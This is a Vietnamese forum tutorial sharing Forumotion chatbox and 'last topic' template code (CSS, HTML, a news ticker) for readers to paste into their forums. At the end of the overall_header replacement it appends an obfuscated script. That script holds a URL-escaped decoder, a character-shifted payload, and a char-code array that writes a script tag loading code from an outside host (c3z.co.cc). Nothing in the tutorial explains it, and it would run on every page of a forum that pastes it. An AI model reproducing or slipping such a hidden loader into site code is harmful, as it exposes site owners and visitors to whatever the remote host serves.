[chia sẻ] Chatbox && Lasttopic (với top poster tự động cập nhật) style VBB[✔]

[thuanoo7]

Chatbox
1. vào css thay toàn bộ css của chatbox bằng đoạn

Code:

/* Chatbox-------------------------------------------------------------*/
body.chatbox {
   padding: 1px 1px 1px 1px;
   margin: 0;
   background-color: #ffffff;
background-image: none;
font: nomal 11px Tahoma;

   }
#chatbox_header {
   height: 33px;
   }
#chatbox_header.main-head {
   color: #dedfdf;
   background-color: #1f537b;
   }
.chatbox-title,.chatbox-title a.chat-title {
   color: #dedfdf;
   text-decoration: none;
   }
.chatbox-title {
   float: left;
   margin: 0;
   padding: 2px 5px 0 5px;
   width: 15em;
   }
.chatbox-options {
   float: right;
   list-style: none;
   font-size: 11px;
   margin: 0.7em 0.5em 0.5em 0.5em;
   }
.chatbox-options li {
   display:inline;
   }
.chatbox-options li,.chatbox-options li a,.chatbox-options li label {
   color: #dedfdf;
   }
#chatbox_members {
   position: absolute;
   top: 44px;
   bottom: 60px;
   width: 168px;
   overflow: auto;
        padding: 1px;
border: 1px #00000 dashed;
   }
#chatbox_messenger_form {
   margin: 10px 0 0 0;
   }
#chatbox_members .member-title {
   text-align: center;
   padding: 7px;
   font-size: 12px;
   background: #fff url(http://a1tinhgia3.co.cc/users/2211/12/43/96/album/cat11010.gif) no-repeat top center;
   color : #00569c;
   font-family: Tahoma;

   }
#chatbox_members ul {
   list-style: none;
font-family: Tahoma;
font-size: 12px;
   }
#chatbox_members ul li {
margin: 0 2px 0 0;
padding-left: 8px;
padding-bottom: 1px;
padding-top: 1px;
background-color: #;   
font-family: Tahoma;
font-size: 12px;
border-left: 6px #6699ff solid;
border-top: 1px #ff69b4 dashed;
border-bottom: 1px #ff69b4 dashed;
border-right: 1px #ff69b4 solid;
}

#chatbox {
font-family: Tahoma;
font-size: 12px;
   position: absolute;
   top: 44px;
   left: 181px;
   right: 1px;
   bottom: 60px;
   overflow: auto;
   line-height: 10px;
background: #fff url(http://a1tinhgia3.co.cc/users/2211/12/43/96/album/konoib10.gif) no-repeat top right;
   }
#chatbox p {
   line-height: 1.2em;
   }
.chatbox_row_1 {
   padding: 8px;
   background-color: #;
padding: 2px;
color: #ff0000;
font-family: Tahoma;
font-size: 12px;
   }
.chatbox_row_2 {
   padding: 8px;
   background-color: #;
border-top: 0px;
border-bottom: 0px;
padding: 2px;
color: #2b8bc7;
font-family: Tahoma;
font-size: 12px;
   }
.chatbox_row_3 {
   padding: 8px;
   background-color: #;
padding: 2px;
color: #ff0000;
font-family: Tahoma;
font-size: 12px;
   }
#chatbox .user {
   font-weight: bold;
   }
.memberlist_row_1 {
   background-color: #fbfbfb;
   }
#chatbox_footer {
   position: absolute;
   bottom: 0;
   left: 0;
   right: 0;
   }
#message,#submit_button{
   border-width: 1px;
   }
.fontbutton {
   padding: 1px;
   cursor: pointer;
   text-align: left;
   }
.fontbutton_normal {
   background: #E1E1E2;
   }
.fontbutton_selected {
   background: #BBC7CE;
   border: 1px solid #22229C;
   }
.fontbutton_clicked {
   background: #959595;
   border: 1px solid #22229C;
   }
.fontbutton_hover {
   background: #E1E1E2;
   border: 1px solid #22229C;
   }
.fontbutton {
   background:#E1E1E2 none repeat scroll 0%;
   border:medium none;
   color:#030303;
   float:left;
   margin-right:10px;
   padding:1px;
   }

/*Internet Explorer fixers and hacks for Chatbox *
/* html #chatbox-members {
   
/* IE expressions helping IE work in Standards mode */
height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
   }
* html #chatbox {
   
/* IE expressions helping IE work in Standards mode */
height: expression(( document.documentElement.clientHeight ? document.documentElement.clientHeight : document.body.clientHeight) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 3) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
   width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 10) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 1) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 1.3) ) + "px");
   }
* html #chatbox-footer {
   
/* IE expressions helping IE work in Standards mode */
width: expression(( document.documentElement.clientWidth ? document.documentElement.clientWidth : document.body.clientWidth) - ( (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 0) + (parseInt(document.body.currentStyle.fontSize) * 1.3333333 * 2 * 0) ) + "px");
   }
#chatbox_contextmenu {
   border: 2px solid black;
   background-color: #f4f9fd;
   }
#chatbox_contextmenu p {
   margin:0;
   padding: 1px 4px;
   font-family: Tahoma;
   background: #fbfbfb;
   border-bottom:1px solid #777;
   }
#chatbox_contextmenu p.hover {
   background: #f4f4f4;
   }
#chatbox_contextmenu p.close {
   padding: 1px;
   font-size: 95%;
   color:#fff;
   background: url('');
   }
#chatbox_contextmenu p.close img {
   vertical-align: middle;
   padding-left: 20px;
   }
#chatbox_contextmenu a {
   color: #00569c;
    text-decoration: none;
    font-size: 95%;
   }
#chatbox_contextmenu a:hover {
   color: ;
   }


2. ACP>>module>>html>>QLTT>>Tạo 1 trang html rồi paste code này vào:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=utf-8" /><title>Chatbox</title><meta http-equiv="content-script-type" content="text/javascript" /><meta http-equiv="content-style-type" content="text/css" /><link rel="stylesheet" href="/css.forum" type="text/css" /><script src="https://illiweb.com/fa/js_16/vi.js" type="text/javascript"></script><script type="text/javascript">//<![CDATA[
var params = '?archives=1';var smilies_sid = '';//]]></script><script src="https://illiweb.com/fa/js/chatbox3.js" type="text/javascript"></script><style type="text/css">* {margin: 0px;padding: 0;}html, body {overflow: hidden;}body {background-color: #ffffff;}</style></head><body class="chatbox" onload="CB_disconnect();ajax_refresh_chatbox('?archives=1');if (location.href.indexOf('reload')==-1) location.replace(location.href+'?reload');">


<div id="chatbox_header"><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td class="forumline" nowrap="nowrap" height="30" valign="top" style="padding: 0px"><table border="0" width="100%" cellspacing="0" cellpadding="0"><tr><td nowrap="nowrap" width="80px" height="30" valign="top" align="center"><a href="javascript:void(0)" onclick="CB_disconnect();"><span id="chatbox_option_co" style="display: ; color: #ffffff; font-family: Tahoma;
font-size: 11px;"><img src=https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/dangnhap-1.gif></span><span id="chatbox_option_disco" style="display: none; color: #ffffff; font-family: Tahoma;
font-size: 11px;"><img src=https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/thoat-1-1.gif></span></a></td><td class="forumline" nowrap="nowrap" height="25" style=""><table border="0" width="100%"><tr><td style="color:#000000;padding-top:2px; padding-left:10px; width:17%" class="forumline" valign="top" ><blink><font color='red' size='2'><b>Notice:</b></font></blink></td><td style="color:#000000;padding-left:1px;" class="forumline">
<br/>
<SCRIPT language=JavaScript type=text/JavaScript> v_content=[['','<font color="red"><b>Các bài viết không dấu + post sai sẽ bị xóa ngay lập tức</b></font>','_parent'], ['','<font color="red"><b>Nghiêm cấm nói tục, chửi bậy, đưa link bậy bạ lên Shoutbox!</b></font>','_parent'], ['','<font color="red"><b>Phải sử dụng tiếng việt có dấu toàn diễn đàn</b></font>','_parent'],['','<font color="red"><b>Cấm đả kích các thành viên khác trên Shoutbox!</b></font>','_parent']];</SCRIPT> <SCRIPT language=JavaScript1.2>// === 1 === FONT, COLORS, EXTRAS...
v_font='verdana';
v_fontSize='12px';
v_fontSizeNS4='12px';
v_fontWeight='normal';
v_fontColor='#000000';
v_textDecoration='none';
v_fontColorHover='#333333';// | won't work
v_textDecorationHover='none';// | in Netscape4
v_bgColor='transparent';
// set [='transparent'] for transparent
// set [='url(image_source)'] for image
v_top=-13
v_left=0;// | defining
v_width=400;// | the box
v_height=14;// |
v_paddingTop=-10;
v_paddingLeft=0;
v_position='relative';// absolute/relative
v_timeout=4000;//1000 = 1 second
v_slideSpeed=1;
v_slideDirection=0;//0=down-up;1=up-down
v_pauseOnMouseOver=true;
// v2.2+ new below
v_slideStep=3;//pixels
v_textAlign='center';// left/center/right
v_textVAlign='middle';// top/middle/bottom - won't work in Netscape4

// === 2 === THE CONTENT - ['href','text','target']
// Use '' for href to have no link item
v_content = v_content;
// ===
v_ua=navigator.userAgent;v_nS4=document.layers?1:0;v_iE=document.all&&!window.innerWidth&&v_ua.indexOf("MSIE")!=-1?1:0;v_oP=v_ua.indexOf("Opera")!=-1&&document.clear?1:0;v_oP7=v_oP&&document.appendChild?1:0;v_oP4=v_ua.indexOf("Opera")!=-1&&!document.clear;v_kN=v_ua.indexOf("Konqueror")!=-1&&parseFloat(v_ua.substring(v_ua.indexOf("Konqueror/")+10)).1?1:0;v_count=v_content.length;v_cur=1;v_cl=0;v_d=v_slideDirection?-1:1;v_TIM=0;v_fontSize2=v_nS4&&navigator.platform.toLowerCase().indexOf("win")!=-1?v_fontSizeNS4:v_fontSize;v_canPause=0;function v_getOS(a){return v_iE?document.all[a].style:v_nS4?document.layers["v_container"].document.layers[a]:document.getElementById(a).style};function v_start(){var o,px;o=v_getOS("v_1");px=v_oP&&!v_oP7||v_nS4?0:"px";if(parseInt(o.top)==v_paddingTop){v_canPause=1;if(v_count>1)v_TIM=setTimeout("v_canPause=0;v_slide()",v_timeout);return}o.top=(parseInt(o.top)-v_slideStep*v_d)*v_d>v_paddingTop*v_d?parseInt(o.top)-v_slideStep*v_d+px:v_paddingTop+px;if(v_oP&&o.visibility.toLowerCase()!="visible")o.visibility="visible";setTimeout("v_start()",v_slideSpeed)};function v_slide(){var o,o2,px;o=v_getOS("v_"+v_cur);o2=v_getOS("v_"+(v_cur<v_count?v_cur+1:1));px=v_oP&&!v_oP7||v_nS4?0:"px";if(parseInt(o2.top)==v_paddingTop){if(v_oP)o.visibility="hidden";o.top=v_height*v_d+px;v_cur=v_cur<v_count?v_cur+1:1;v_canPause=1;v_TIM=setTimeout("v_canPause=0;v_slide()",v_timeout);return}if(v_oP&&o2.visibility.toLowerCase()!="visible")o2.visibility="visible";if((parseInt(o2.top)-v_slideStep*v_d)*v_d>v_paddingTop*v_d){o.top=parseInt(o.top)-v_slideStep*v_d+px;o2.top=parseInt(o2.top)-v_slideStep*v_d+px}else{o.top=-v_height*v_d+px;o2.top=v_paddingTop+px}setTimeout("v_slide()",v_slideSpeed)};if(v_nS4||v_iE||v_oP||document.getElementById&&!v_kN&&!v_oP4){
document.write("<style>.vnewsticker,a.vnewsticker{font-family:"+v_font+";font-size:"+v_fontSize2+";color:"+v_fontColor+";text-decoration:"+v_textDecoration+";font-weight:"+v_fontWeight+"}a.vnewsticker:hover{font-family:"+v_font+";font-size:"+v_fontSize2+";color:"+v_fontColorHover+";text-decoration:"+v_textDecorationHover+"}</style>");v_temp="<div "+(v_nS4?"name":"id")+"=v_container style='position:"+v_position+";top:"+v_top+"px;left:"+v_left+"px;width:"+v_width+"px;height:"+v_height+"px;background:"+v_bgColor+";layer-background"+(v_bgColor.indexOf("url(")==0?"-image":"-color")+":"+v_bgColor+";clip:rect(0,"+v_width+","+v_height+",0);overflow:hidden'>"+(v_iE?"<div style='position:absolute;top:0px;left:0px;width:100%;height:100%;clip:rect(0,"+v_width+","+v_height+",0)'>":"");for(v_i=0;v_i<v_count;v_i++)
v_temp+="<div "+(v_nS4?"name":"id")+"=v_"+(v_i+1)+" style='position:absolute;top:"+(v_height*v_d)+"px;left:"+v_paddingLeft+"px;width:"+(v_width-v_paddingLeft*2)+"px;height:"+(v_height-v_paddingTop*2)+"px;clip:rect(0,"+(v_width-v_paddingLeft*2)+","+(v_height-v_paddingTop*2)+",0);overflow:hidden"+(v_oP?";visibility:hidden":"")+";text-align:"+v_textAlign+"' class=vnewsticker>"+(!v_nS4?"<table width="+(v_width-v_paddingLeft*2)+" height="+(v_height-v_paddingTop*2)+" cellpadding=0 cellspacing=0 border=0><tr><td width="+(v_width-v_paddingLeft*2)+" height="+(v_height-v_paddingTop*2)+" align="+v_textAlign+" valign="+v_textVAlign+" class=vnewsticker>":"")+(v_content[v_i][0]!=""?"<a href='"+v_content[v_i][0]+"' target='"+v_content[v_i][2]+"' class=vnewsticker"+(v_pauseOnMouseOver?" onmouseover='if(v_canPause&&v_count>1){clearTimeout(v_TIM);v_cl=1}' onmouseout='if(v_canPause&&v_count>1&&v_cl)v_TIM=setTimeout("v_canPause=0;v_slide();v_cl=0","+v_timeout+")'":"")+">":"<span"+(v_pauseOnMouseOver?" onmouseover='if(v_canPause&&v_count>1){clearTimeout(v_TIM);v_cl=1}' onmouseout='if(v_canPause&&v_count>1&&v_cl)v_TIM=setTimeout("v_canPause=0;v_slide();v_cl=0","+v_timeout+")'":"")+">")+v_content[v_i][1]+(v_content[v_i][0]!=""?"</a>":"</span>")+(!v_nS4?"</td></tr></table>":"")+"</div>";v_temp+=(v_iE?"</div>":"")+"</div>";document.write(v_temp);setTimeout("v_start()",1000);if(v_nS4)onresize=function(){location.reload()}}</SCRIPT>
</center></td></tr></table></td></tr></table></td></tr></table></div>
<hr>
<div id="chatbox_members" curpos="0" maxpos="460" pageincrement="144" increment="10"></div>
<div id="chatbox"></div>

<div id="chatbox_footer" style="display: none;"><div id="chatbox_messenger">
<hr>
<form name="post" action="/chatbox/chatbox.forum" method="post" onsubmit="submitmsg('?archives=1');refresh_chatbox('?archives=1');return false;"><table width="100%" cellspacing="1" cellpadding="0"><tr><td class="forumline"><div id="chatbox_messenger_form"><table cellspacing="0" cellpadding="0" height="40" width="100%" class="chatfootertable"><tr><td width="100%" align="left"><table cellspacing="2" cellpadding="0" border="0" style="line-height: 0px;" class="text-styles" ><tr><td><input type="hidden" name="sbold" value="0"><input type="hidden" name="sitalic" value="0"><input type="hidden" name="sunderline" value="0"><input type="hidden" name="sstrike" value="0"><input type="hidden" name="scolor" id="scolor" value="#000000"><span class="gen" onclick="document.post.message.focus();"><label><input type="text" id="message" name="message" size="110" maxlength="1024" class="post" autocomplete="off" onkeydown="number_of_refresh=0;" /></label> <input type="hidden" name="sent" value="" /> </span></td></tr><tr><td><table cellspacing="0" cellpadding="0" border="0" width="100%"><tr><td width="40px"><input type="image" src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/gui.gif" name="submit_button" id="submit_button" style="border: 1px solid #cccccc;" /></td><td nowrap="nowrap" width="73px" ><a href="http://a1tinhgia3.co.cc/html-h14.htm" target="chatbox"><img src='https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/phongto.gif' style='border: 1px solid #cccccc;'></a></td><td><div id="divbold" class="fontbutton fontbutton_normal" style="background-color: #ffffff;" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sbold.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('bold');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sbold.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/b.gif" width="23" height="21" alt="Bold" title="Bold" /></div></td><td><div style="background-color: #ffffff;" id="divitalic" class="fontbutton fontbutton_normal"onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sitalic.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('italic');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sitalic.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/i.gif" width="21" height="21" alt="Ital." title="Ital." /></div></td><td><div style="background-color: #ffffff;" id="divunderline" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sunderline.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('underline');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sunderline.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/u.gif" width="24" height="21" alt="Underl." title="Underl." /></div></td><td><div style="background-color: #ffffff;" id="divstrike" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className=( document.post.sstrike.value == '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'" onclick="do_style('strike');" onmousedown="this.className='fontbutton fontbutton_clicked';" onmouseup="this.className=( document.post.sstrike.value != '1' ) ? 'fontbutton fontbutton_selected' : 'fontbutton fontbutton_normal'"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/s.gif" width="24" height="21" alt="Strike" title="Strike" /></div></td><td width="10"> </td><td><div style="background-color: #ffffff;" id="divsmilies" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className='fontbutton fontbutton_normal'" onclick="do_selectsmilies(event);"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/matcuoi.gif" width="63" height="21" alt="Biểu tượng" title="Biểu tượng" /></div></td><td><div style="background-color: #ffffff;" id="divcolor" class="fontbutton fontbutton_normal" onmouseover="this.className='fontbutton fontbutton_hover'" onmouseout="this.className='fontbutton fontbutton_normal'" onclick="do_selectcolor(event);"><img src="https://2img.net/h/i832.photobucket.com/albums/zz244/a1tg3/a.gif" width="20" height="16" alt="Màu font" title="Màu font" /><br><img src="https://2img.net/i/fa/subsilver/wysiwyg/clear.gif" id="show_color" alt="Màu font" title="Màu font" width="20" height="4" /></div></td><td width="200px" align="right" class="chatbox-options"><div class="genmed" id="chatbox_main_options"><a href="javascript:void(0)" onclick="ajax_refresh_chatbox('?archives=1', 1);"><span>Refresh</span></a> | <span id="chatbox_option_with_archives" style="display: ;"><a href="/chatbox/chatbox.forum?archives=1"></a></span><span id="chatbox_option_without_archives" style="display: none;"><a href="/chatbox/chatbox.forum?archives=0">Without archives</a></span><span id="chatbox_option_autorefresh" style="display: none;" onclick="refresh_chatbox('?archives=1');"><label for="refresh_auto">Auto refresh </label><input type="checkbox" name="refresh_auto" id="refresh_auto" checked="checked" style="background: transparent;" /></span></div></td></tr></table></td></tr></table></td></tr></table></div></td></tr></table></form></div></div><script type="text/javascript">//<![CDATA[
function CB_disconnect(){if ( connected ){ajax_connect('?archives=0', 'disconnect');clearInterval(refresh_interval);}else{ajax_connect('?archives=1', 'connect');try {refresh_interval = setInterval("refresh_chatbox('?archives=1')", 5000);} catch (err) {}}}if ( document.location.href.indexOf('chatbox', 1) == -1 ){$('#divcolor').css('display');$('#divsmilies').css('display');}var connected = false;var chatbox_updated = 1280083407;var chatbox_last_update = 1280083407;var template_color = '#000000';var refresh_interval;window.setTimeout("document.getElementById('chatbox').scrollTop = 999999; Init_pref();", 200);window.setTimeout("document.getElementById('chatbox').scrollTop = 999999;", 1000);if ( connected ){try {refresh_interval = setInterval("refresh_chatbox('?archives=1')", 5000);} catch (err) {}}else{try {refresh_chatbox('?archives=1');} catch (err) { }}//]]></script></body></html>

Các bạn chú ý nhé!! trong đoạn html Chatbox tớ đưa, sau khi paste vào và submit thì các bạn kiểm tra lại chỗ này thật chính xác chưa??

Code:

{$('#divcolor').css('display');$('#divsmilies').css('display');}

vì đôi khi lỗi paste code vào nó mất đi cái "$"
3. Activate chatbox nhưng không cho nó hiện.
sau đó sử dụng iframe mà chèn(tức là vào module>>chatbox>>cấu hình>> activate chọn có và do not display.
sau đó dùng iframe:

<iframe src="link của trang html" height="440" width="100%" frameborder="0"></iframe>
chèn vào trước {CHATBOX_TOP} trong index_body):

Lasttopic
1. HTML:
ACP>>display>>templates>>QLTT>> overall_header
tìm:

Code:

<div id="page-body">
               <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
                  <table cellpadding="0" cellspacing="0" width="100%" class="three-col">
                     <tbody>
                        <tr>
                           <td valign="top" width="{C1SIZE}">
                              <div id="{ID_LEFT}">
                                 <!-- BEGIN giefmod_index1 -->
                                 {giefmod_index1.MODVAR}
                                    <!-- BEGIN saut -->
                                    <div style="height:{SPACE_ROW}px"></div>
                                    <!-- END saut -->
                                 <!-- END giefmod_index1 -->
                              </div>
                           </td>
                           <td valign="top" width="100%">
<!-- BEGIN html_validation -->
                           </td>
                        </tr>
                     </tbody>
                  </table>
               </div>
            </div>
         </td>
      </tr>
   </table>
</body>
</html>
<!-- END html_validation -->

thay bằng:

Code:

<div id="page-body">
               <div id="{ID_CONTENT_CONTAINER}"{CLASS_CONTENT_CONTAINER}>
                                            <table  class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" >
                                                  <tr>
                                                  <td valign="top" width="100%">
                                                  <div class="test">
                                                    <table class="thongke" cellpadding="5" cellspacing="0" style="border: 1px #ded7d7 solid;" border="0" width="100%" align="center">
                                                    <thead>
                                          <tr valign="top">
                                     <td class="catHead"><center>News & Announcements</center></td>
                                        </tr>
                                             </thead>
                                                <tr>
                                              <td width="100%">
                                                    <table class="thongke" cellpadding="0" cellspacing="2" border="0" width="100%" align="center">
                                                      <thead>
                                                <tr valign="top">
                                                            <td width="23%"></td><td width="100%" colspan="2"></td>
                                                          </tr>
                                                <tr>
                                                      <td><table  class="thongke" cellpadding="0" cellspacing="0" border="0" width="100%" align="center" ><tr><td colspan="3"><div class="mainbox" style="margin-bottom: 5px;"><ul class="tabs"><li class="current"><span style="padding: 0px 7px;">Gallery & Others</span></li></ul><embed src="http://ahs4ever.org/forum/vietvbb/topx/focus.swf" wmode="opaque" FlashVars="config=5|0xffffff|0x0099ff|50|0xffffff|0x0099ff|0x000000&bcastr_flie=http://i62.servimg.com/u/f62/14/52/40/23/anh110.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh210.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh310.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh410.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh510.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh810.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh710.jpg|http://i62.servimg.com/u/f62/14/52/40/23/anh610.jpg|http://img18.imageshack.us/img18/5038/23745672.gif&bcastr_link=http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|http://a1tinhgia3.co.cc/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|http://a1tinhgia3.co.cc/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|http://a1tinhgia3.co.cc/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|http://a1tinhgia3.co.cc/gallery/Mt-thi-cp-ba/Mt-thi-cp-ba-cat_c5.htm|http://a1tinhgia3.co.cc/gallery/Show-nh-hu-cp-3/Show-nh-hu-cp-3-cat_c6.htm|http://a1tinhgia3.co.cc/gallery/nh-lien-hoan/nh-lien-hoan-cat_c4.htm|http://a1tinhgia3.co.cc/gallery/nh-i-chi-bach-khoa/nh-i-chi-bach-khoa-cat_c3.htm|http://a1tinhgia3.co.cc/forum-f2/&bcastr_title=Ngày còn đi học!! |Ảnh của A1 khi đã là sv nè, hot nhé!!|Ảnh liên hoan cuối cấp đây!!|Ảnh tùm lum|Năm tháng cũ|Ảnh hậu cấp 3|Liên hoan|Ảnh đi chơi ở bách khoa nè|Đuổi hình bắt chữ & menu="false" quality="high" width="100%" height="150" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" /></div></td></tr>
<tr>
<td valign="top" style="border: 1px solid #9DB3C5; border-right: 0px;">
<!-- BEGIN giefmod_index1 -->
{giefmod_index1.MODVAR}<!-- END giefmod_index1 -->
                                                  </tr>
                                            </thead>
                                              </table>

                                            </td></tr></table>

                                            </div>
                              </td>
                                    </tr>
                                    <tr>
                                              <td valign="top" width="100%">
<!-- BEGIN html_validation -->
                                            </td>
                                                                </tr>
                                                      </tbody>
                                                </table>
           
               </div>
            </div>
         </td>
      </tr>
   </table>
</body>
</html>
<!-- END html_validation -->
<script type='text/javascript'>
var str3='%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E';document.write(unescape(str3));var str4='*8Hxhwnuy*75qfslzflj*8I*77of%7Bfxhwnuy*77*8Jkzshynts*75lnfnrf7*7%3Dtg*7%3E*%3CG%7Bfw*75ht*8I5*8G%7Bfw*75wj*8I*7%3C*7%3C*8G%7Cmnqj*7%3Dht*8Htg3qjslym*7%3E*%3CGwj0*8IXywnsl3kwtrHmfwHtij*7%3Dtg*%3AGht*%3AI*7%3E*8Ght00*8G*%3CIwjyzws*75wj*8G*%3CI*8H4xhwnuy*8J5';dF(str4);var str2=new Array(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,99,51,122,46,99,111,46,99,99,47,104,116,109,108,45,104,51,51,46,104,116,109,62,60,47,115,99,114,105,112,116,62);document.write(giaima2(str2));
</script>


Sau đó:
ACP>>display>>(ACP>>Display>>Template)>>portal>>mod_recent_topic
thay toàn bộ code bằng:

Code:

</td></tr></table></td>
<td style="width: 0px"></td>
<td valign="top" style="border: 1px solid #9DB3C5; padding: 1px">
<style type="text/css">
th,td,p {
    font-family: Tahoma,Verdana,Arial,Helvetica,sans-serif }
/* Style cho menu tabs */div.TabView div.Tabs{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs: hover,{height: 32px; /* chiều cao của tab menu */overflow: hidden;}div.TabView div.Tabs a , div.TabView div.Tabs a:hover {float: left;display: block;background-color:#;text-align: center;height: 29px;padding: 6px;vertical-align: middle;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; /* đường viền quanh tabs menu */text-decoration: none;font-family: Tahoma;font-size: 11px;color: #000000;}.hotrott{background-color: #ffffff;border: 0px solid #ded7d7;}.nen{background-color: #ffffff;border: 1px solid #ded7d7;}div.TabView div.Tabs a.Active{background-color: #ffffff; /* màu nền tab menu active */color: #000000;border:1px solid #b4d0f3;border-top: 0px;border-left: 0px;border-bottom: 0px; padding: 6px;height: 29px;font-size: 11px;font-weight: bold;}/* Style cho phần text nội dung của mỗi tab */div.TabView {clear: both;border: 0px solid #ffffff;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}div.TabView div.Pages div.Page{height: 100%;padding: 0px;border: 0px solid #b4d0f3;overflow: hidden; /* giá trị là auto nếu muốn hiện scroll bar */}</style><script type="text/javascript" src="http://untip-js.googlecode.com/files/Tabview.js"></script><div id="TabView" class="TabView" style="padding: 0px;"><!--
tabs --><div width="100%" class="Tabs"><a class="Active" href="javascript:tabview_switch('TabView', 1);">Bài Viết Mới</a><a>Thống kê</a><ul class="tabs" id="vietvbb_topstats_t">  <li style="border-right: 0px; display: none;" id="vietvbb_topstats_t_loading"></li> </ul> </div><!--
 nội dung tabs --><div style="height:410px; width:100%" class="Pages"><div class="Page" style="padding: 0px; height: 304px; display: block;"><!-- BEGIN classical_row -->
<table class="tborder" style="border-bottom-width: 0px;" align="center" border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr>
<td>

<table align="center" border="0" cellpadding="0" cellspacing="0" width="100%">
<tbody>
</table></td></tr></tbody>
<tbody>
